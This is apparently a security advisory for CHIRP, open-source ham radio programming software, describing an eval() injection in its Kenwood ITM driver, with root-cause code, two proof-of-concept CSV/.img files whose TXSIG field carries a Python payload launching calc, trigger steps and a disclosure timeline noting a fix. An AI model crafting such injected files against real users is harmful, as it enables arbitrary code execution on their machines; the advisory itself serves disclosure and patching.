CHIRP — Arbitrary Code Execution via eval() in Kenwood ITM Driver

Product: CHIRP - An open-source project for programming Ham Radios.
Affected Versions: URL: https://github.com/kk7ds/chirp, https://chirpmyradio.com
Affected Versions: <= chirp-next-20260814
CWE: CWE-95 (Eval Injection)

Overview

CHIRP's Kenwood ITM file format driver passes raw CSV field values from an opened file directly to Python's built-in eval() with no validation. An attacker who delivers a crafted file to a CHIRP user achieves arbitrary code execution as the victim user.

Root Cause

chirp/drivers/kenwood_itm.py, _clean_tmode(), lines 66–67:

def _clean_tmode(self, headers, line, mem):
    rtone = eval(generic_csv.get_datum_by_header(headers, line, "TXSIG"))  # SINK
    ctone = eval(generic_csv.get_datum_by_header(headers, line, "RXSIG"))  # SINK

The TXSIG and RXSIG values come directly from a CSV row in the opened file. No type check, allowlist, or sandboxing is applied before eval().

POCs

Below are two POCs.

Malicious .itm

// Malicious .itm POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,1,146.520000,146.520000,PoC,__import__('os').system('calc'),0

Malicious .img

// Malicious .img POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,0,146520000,146520000,PoC,__import__('os').system('calc.exe'),0

 chirpεimgeyJyY2xhc3MiOiAiSVRNUmFkaW8iLCAidmVuZG9yIjogIktlbndvb2QiLCAibW9kZWwiOiAiSVRNIiwgInZhcmlhbnQiOiAiIiwgImNoaXJwX3ZlcnNpb24iOiAiZGFpbHktMjAyMzAxMDEifQ==

Triggering in CHIRP

1. Launch CHIRP.
2. File → Open.
3. Select {file_name}.img. If using the .itm payload, change the filter dropdown to "All Files" (ITM is not filtered for in CHIRP).
4. Select {file_name}.itm.

Disclosure

2026-08-17 -- Vulnerability discovered
2026-08-17 -- E-mailed maintainer
2026-08-17 -- Maintainer responded and code fixed the same day. https://github.com/kk7ds/chirp/commit/39178dbfc4fece083ab9ed20286d6ae3a91a718e
2026-08-21 -- Installer release 20260821 includes the fix.